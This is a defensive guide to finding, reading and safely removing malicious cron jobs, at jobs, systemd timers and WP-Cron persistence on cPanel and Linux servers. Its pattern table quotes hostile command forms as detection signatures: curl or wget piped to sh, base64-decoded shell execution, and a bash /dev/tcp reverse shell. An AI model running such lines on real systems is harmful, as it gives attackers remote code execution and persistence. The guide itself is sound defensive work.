Guide · Malicious cron jobs

How to find a malicious cron job on a cPanel or Linux server

You deleted the malware and it came back — at the same minute past the hour, or within a minute of the cleanup. That timing is the clue: something is scheduled to put it back, and on a cPanel or Linux host the usual scheduler is cron. Here is how to list every scheduled task on the server, read a suspicious entry without running it, and remove it without destroying the evidence.

Symptom
Deleted files return on a fixed schedule, or a killed process restarts
Where to look
Every user crontab, /etc/cron.*, at jobs, systemd timers, WP-Cron
First step
Preserve the spool files and what each entry points at
A return means
Something still has write access to the account, or to root

The pattern

Why deleted malware comes back on a schedule

A cleanup removes files. A cron entry is a line of configuration in a spool directory outside every document root, and it runs as the account user whether or not WordPress loads. If it says “every five minutes, download this into public_html”, the cleanup lasts five minutes.

The tell is regularity. Returning files carry modification times that cluster on the same minutes — :00, :15, :30, or every minute. stat on the returning files, or find public_html -newermt 'YYYY-MM-DD HH:MM' -ls from just before a return, shows this without changing anything. If the returns follow a clock, find the schedule before cleaning again.

Every account

How to check crontab for all users on a Linux server

Run these as root from a trusted session. Every command below only reads. cPanel shows one account at a time; the goal is the whole server in one pass.

Terminal listing /var/spool/cron with one account’s crontab changed far more recently than the others, then cat -A of that file showing a normal WP-Cron line and a line that downloads a script every five minutes and pipes it to sh with its output discarded.
Figure 1 · Reading the spool, not the screen

The address is from a documentation range and defanged; account names and times are illustrative. Nothing shown was run — cat -A only reads the file.

  1. 01

    List every user’s crontab

    for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done prints each account’s crontab under its name. Save the output outside every account home.

  2. 02

    List the spool directory itself

    The loop only asks about users in /etc/passwd. ls -la --time-style=full-iso /var/spool/cron on AlmaLinux, CloudLinux, Rocky and CentOS — the usual cPanel platforms — or /var/spool/cron/crontabs on Debian and Ubuntu shows every crontab file, its owner, and the exact time it last changed, including files left for users that no longer exist.

  3. 03

    Reveal hidden characters

    cat -A on the spool file prints control characters visibly. A carriage return inside a line can make a terminal draw over the malicious part so crontab -l appears to show a harmless comment; cat -A shows the ^M and what it hid.

  4. 04

    Correlate with the cron log

    Line the file’s modification time up with the earliest modified files in that account and with the web and cPanel access logs. /var/log/cron on the RHEL family, or journalctl -u cron on Debian and Ubuntu, records each time a job ran.

System-wide

System cron: /etc/crontab, /etc/cron.d, cron.hourly and cron.daily

A user crontab needs only that user’s access to write. The system locations run anything as any user and need root to change — so an unexplained entry here is a root-level finding.

/etc/crontab

The system table, with a sixth field naming the user each line runs as. On Debian and Ubuntu it also triggers the hourly, daily, weekly, and monthly directories through run-parts.

/etc/cron.d/

Drop-in files in the same format. Packages install here, so rpm -qf /etc/cron.d/NAME or dpkg -S /etc/cron.d/NAME explains most of them. A file no package owns needs a reason.

cron.hourly, daily, weekly, monthly

Directories of scripts, driven on the RHEL family by /etc/cron.d/0hourly and /etc/anacrontab. Read each with less; a three-line script that downloads something is as persistent as any crontab line.

Everything changed since the incident

find /etc/cron* /etc/anacrontab /var/spool/cron -type f -newermt YYYY-MM-DD -ls lists every cron file changed since the earliest timestamp you have.

Beyond crontab

at jobs and systemd timers: scheduled tasks crontab -l does not show

Every crontab can be clean while scheduled work still waits — and an account user can use both of these without root.

at jobs: atq and at -c

atq as root lists queued jobs for every user, with owner and run time. at -c JOBID prints the job’s full script without running it. The spool is /var/spool/at on the RHEL family and /var/spool/cron/atjobs on Debian and Ubuntu. A job that re-queues itself behaves exactly like cron.

System timers: systemctl list-timers --all

Every timer with its last and next trigger and the unit it activates. systemctl cat NAME.timer and systemctl cat NAME.service print both units without starting anything.

User timers in account homes

find /home -path '*/.config/systemd/user/*' -ls 2>/dev/null lists user-defined units across every account. They keep running without a login only when lingering is enabled — ls /var/lib/systemd/linger shows which users have it. On systemd 248 and later, systemctl --user -M USER@ list-timers --all lists one user’s timers.

Shell start-up files

Not a scheduler, but used like one: a line in ~/.bashrc, ~/.bash_profile, or ~/.profile runs at every SSH login. Read them alongside the crontab.

cPanel

cPanel Cron Jobs screen vs what is actually in the cron spool

The Cron Jobs page in cPanel, under Advanced, edits one thing: that account’s own crontab file. It is a first look, not a server check. How it renders unusual lines — @reboot, variable assignments, very long one-liners, control characters — varies by cPanel version, so treat the spool file read with crontab -l -u USER or cat -A as the record.

Its Cron Email field is the MAILTO line: cron emails each job’s output there. That is why malicious entries almost always end in >/dev/null 2>&1 — no output, no email every five minutes. Legitimate jobs often end the same way, so the redirect is context, not proof.

Scheduled task locationOn cPanel’s Cron Jobs page?How to read it as root
This account’s crontabYescrontab -l -u USER; cat -A on the spool file
Every other account’s crontabNoThe /etc/passwd loop; ls -la on the spool directory
/etc/crontab, /etc/cron.d, cron.daily and the restNoless /etc/crontab; ls -la /etc/cron.d; read each script
at jobsNoatq; at -c JOBID
systemd timers, system and userNosystemctl list-timers --all; the ~/.config/systemd/user sweep
WP-Cron eventsNowp cron event list, run as the account user

WordPress

WP-Cron vs server cron: finding a malicious WordPress cron event

WP-Cron is not cron. It is a list of events in one serialised row of the options table — option_name cron in wp_options, or the site’s own prefix — and it runs only when a page request triggers wp-cron.php or a real cron calls it. A malicious event survives every file replacement and never appears in crontab -l.

An event is only a hook name and a schedule; code somewhere must be attached to the hook for it to do anything. So an unexplained event points at persistence you have not found yet — often in mu-plugins, a drop-in, or a PHP file in uploads.

  1. 01

    List the events without loading plugins

    sudo -u USER wp cron event list --fields=hook,next_run_relative,recurrence --skip-plugins --skip-themes --path=/home/USER/public_html reads the schedule as the account user without executing the code that may be the problem.

  2. 02

    Compare every hook with what is installed

    Core schedules hooks such as wp_version_check, wp_update_plugins, wp_update_themes, wp_scheduled_delete, and delete_expired_transients; plugins add their own, usually prefixed with the plugin name. A hook no installed component explains, or one imitating a core name, needs explaining.

  3. 03

    Find the code behind the hook

    grep -rn "HOOK_NAME" /home/USER/public_html/wp-content/ only reads. If nothing matches, widen to wp-config.php and the account home; if still nothing, the callback is probably encoded — a finding in itself.

  4. 04

    No WP-CLI? Read the option

    SELECT option_value FROM wp_options WHERE option_name = 'cron'; with your prefix returns the schedule. Check other autoloaded options and _transient_ rows for encoded blobs in the same pass.

Read it safely

How to read a malicious cron job without running it

Save the entry first — crontab -l -u USER > /root/incident/USER.crontab, in a directory outside any account home — and work only on that copy. Read the five time fields, then the command, then whatever it points at.

If the line contains base64, decode it into a file and read that: echo 'ENCODED_TEXT' | base64 -d > decoded.txt, then cat -A decoded.txt. Never add | sh or eval to “see” it, and repeat for each layer — one-liners are often encoded more than once.

If it fetches a URL, record the URL, domain, and IP, and do not request it from the server. The request tells the operator someone is looking; if the content is needed, retrieve it deliberately from an isolated analysis machine and never execute it.

Patterns

Cron job wget, curl and base64 malware patterns and what they mean

None of these is proof on its own. Together, in a hosting account, they rarely have an innocent reading.

Pattern in the lineWhat it doesWhat it tells you
* * * * *Runs every minuteIn a hosting account, a per-minute download or file write is a reinfection timer: anything deleted is back within sixty seconds.
*/5 * * * * or 0 * * * *Every five minutes, or hourlyThe interval you will see in the returning files’ timestamps.
@rebootRuns when the cron daemon startsBuilt to survive a reboot and relaunch a miner, proxy, or backdoor.
curl -fsSL URL | shDownloads a script and executes it unsavedThe payload lives on someone else’s server and can change at any time.
wget -qO- URL | sh, wget -q -O /tmp/x URLQuiet download into a shell or a fileAs curl. When saved, look for the file and the chmod +x that follows.
echo … | base64 -d | shDecodes a hidden command and runs itDeliberate obfuscation. Decode into a file and read it.
/dev/tcp/HOST/PORTOpens a network connection from bash aloneAlmost always a reverse shell, such as bash -i >& /dev/tcp/IP/PORT 0>&1.
/tmp, /dev/shm, ~/.config/…, ~/.cache/…Runs a file from a writable or hidden placeStaging areas chosen to survive a glance — the artefact class behind the gsocket backdoor.
kworker, [kthreadd], .sshd in a home directoryNames the process after a system oneMasquerading. A system name launched from an account home is not that process.
>/dev/null 2>&1Discards output, so no cron emailNormal in legitimate jobs; on a download line, it is there so nobody notices.
pgrep -f NAME || …, nohup … &Starts something only if not runningA watchdog: kill the process and it is back at the next run.
crontab - or chattr +i inside the jobRewrites the crontab or makes files immutableSelf-reinstalling persistence. lsattr shows the i flag; root cannot delete the file until chattr -i clears it.
php -r, perl -e, python -c, php …/uploads/….phpRuns inline interpreter code or a PHP file in uploadsA shell pipe in another language. Uploads should hold media, not scheduled code.

Evidence

No malicious cron job found? What the 261-account WHM case showed

A clean cron sweep is necessary, not sufficient. In the WHM investigation behind the gsocket guide, a packed ELF backdoor sat at ~/.config/htop/defunct in one cPanel account on a server carrying 261 accounts. Cron persistence is documented for that backdoor family — yet there was no cron entry, shell profile, or startup reference invoking the binary, and the paired defunct.dat key file was absent.

The report records that absence rather than filling it in: the capability may have been staged, a launcher removed earlier, or activation routed in a way the evidence did not preserve. The account was still treated as fully compromised. Read your own results the same way — an empty crontab narrows the search; it does not close it.

Remove it

How to remove a malicious cron job: the order that holds

Deleting the line first removes the only record of what it fetched and from where — and does nothing about whoever wrote it.

  1. 01

    Preserve

    Copy the spool files with owner, mode, and full-iso timestamps; save atq and at -c output, timer units, and the cron log; hash everything the entry references with sha256sum. Keep it outside the account home.

  2. 02

    Identify what it fetches and from where

    Record the URL, domain, IP, or local path each entry touches, and find the local payload: the file it writes, the binary it starts, the PHP it calls. ps -eo user,pid,ppid,etime,args and ss -tnp show what is already running and connected.

  3. 03

    Contain

    Suspend the account where the business allows; if the job must stop now, comment the line out rather than deleting it. Block the destination and the account’s outbound traffic at the firewall, and record processes before terminating them.

  4. 04

    Remove the entry and its payload together

    The cron line, the at job (atrm JOBID), timer and service units, and the files they reference — checking lsattr for the immutable flag first. Remove watchdog and payload in one pass, or one restores the other.

  5. 05

    Rotate

    Whoever wrote the entry had the account’s access. Rotate cPanel, FTP and SFTP passwords, ~/.ssh/authorized_keys, cPanel API tokens, database passwords, and WordPress administrator and application passwords, from a clean device.

  6. 06

    Watch for it returning

    Re-list the spool daily for a week against the preserved copy. With auditd, auditctl -w /var/spool/cron -p wa -k cron-watch logs every write and ausearch -k cron-watch names the process; put the rule in /etc/audit/rules.d/ to keep it across reboots.

It came back

Malicious cron job keeps coming back? Write access still exists

A cron entry that reappears is not a cron problem. Something can still write that account’s crontab — and that is the real finding.

A web shell or PHP backdoor

If PHP runs as the account user with exec functions enabled, any PHP file the attacker can request can pipe a new line into crontab.

Credentials never rotated

The cPanel password, an SFTP account, an SSH key, or an API token. Keys and tokens both survive a password change.

A second scheduler

An at job, a user timer, a WP-Cron event, or a ~/.bashrc line that reinstalls the crontab. Removing one of a pair is the classic half-cleanup.

A process still running

A watchdog that rewrites the crontab seconds after the line disappears. Record and stop it before removing the entry again.

Another account, or root

The same line in several accounts, or in /etc/cron.d, puts the write access above the account: a neighbour on a poorly isolated server, a reseller login, or root.

Common questions

Common questions about malicious cron jobs

Is every cron job that uses wget or curl malware?

No. Sites that disable WP-Cron call their own wp-cron.php with wget or curl, and backup and monitoring jobs download too. Judge the destination: the account’s own domain is ordinary; an unfamiliar host piped into a shell is not.

How do I check the crontab for all users at once?

As root, loop over /etc/passwd with crontab -l -u, then list /var/spool/cron (RHEL family) or /var/spool/cron/crontabs (Debian, Ubuntu) to catch files the loop missed. Both only read.

cPanel Cron Jobs is empty but the malware still comes back. Why?

That page shows one account’s crontab and nothing else. The generator may be in another account, the system cron files, an at job, a timer, or WP-Cron — or not scheduled at all: a PHP startup directive, a running process, or a stolen credential produces the same symptom.

Can a malicious cron job run without root access?

Yes, and most do. Any account user can install a crontab that runs as that user, so a compromised site with PHP running as the account user is enough. Everything that user can read and write is then in scope.

Should I just run crontab -r to wipe the crontab?

Not first. crontab -r deletes every entry, legitimate ones included, and destroys the record of what the malicious line fetched. Save it with crontab -l -u USER, identify the payload, contain the account, then remove only the malicious lines.

I only have one WordPress site on shared hosting. What can I check?

Your account’s Cron Jobs page in cPanel, and WP-Cron events if WP-CLI is available. System cron, at jobs, timers, and other accounts need the host or a root-level review — so if files keep returning, ask the host directly what scheduled tasks exist for your account.

Choose the response path

The containment plan should match the size of the incident.

One WordPress site on shared hosting

Clean the site and its schedule, then verify it stays clean.

Best for a site owner whose files keep returning and who can reach cPanel but not the server. The account’s crontab and WP-Cron events are part of the cleanup.

A VPS, WHM server, or agency estate

Remove the persistence at root level, across every account.

Best when you administer the server: every crontab, the system cron files, at jobs, timers, and the process table are reviewed, the writer is identified where the evidence allows, and the result is verified after normal operation resumes.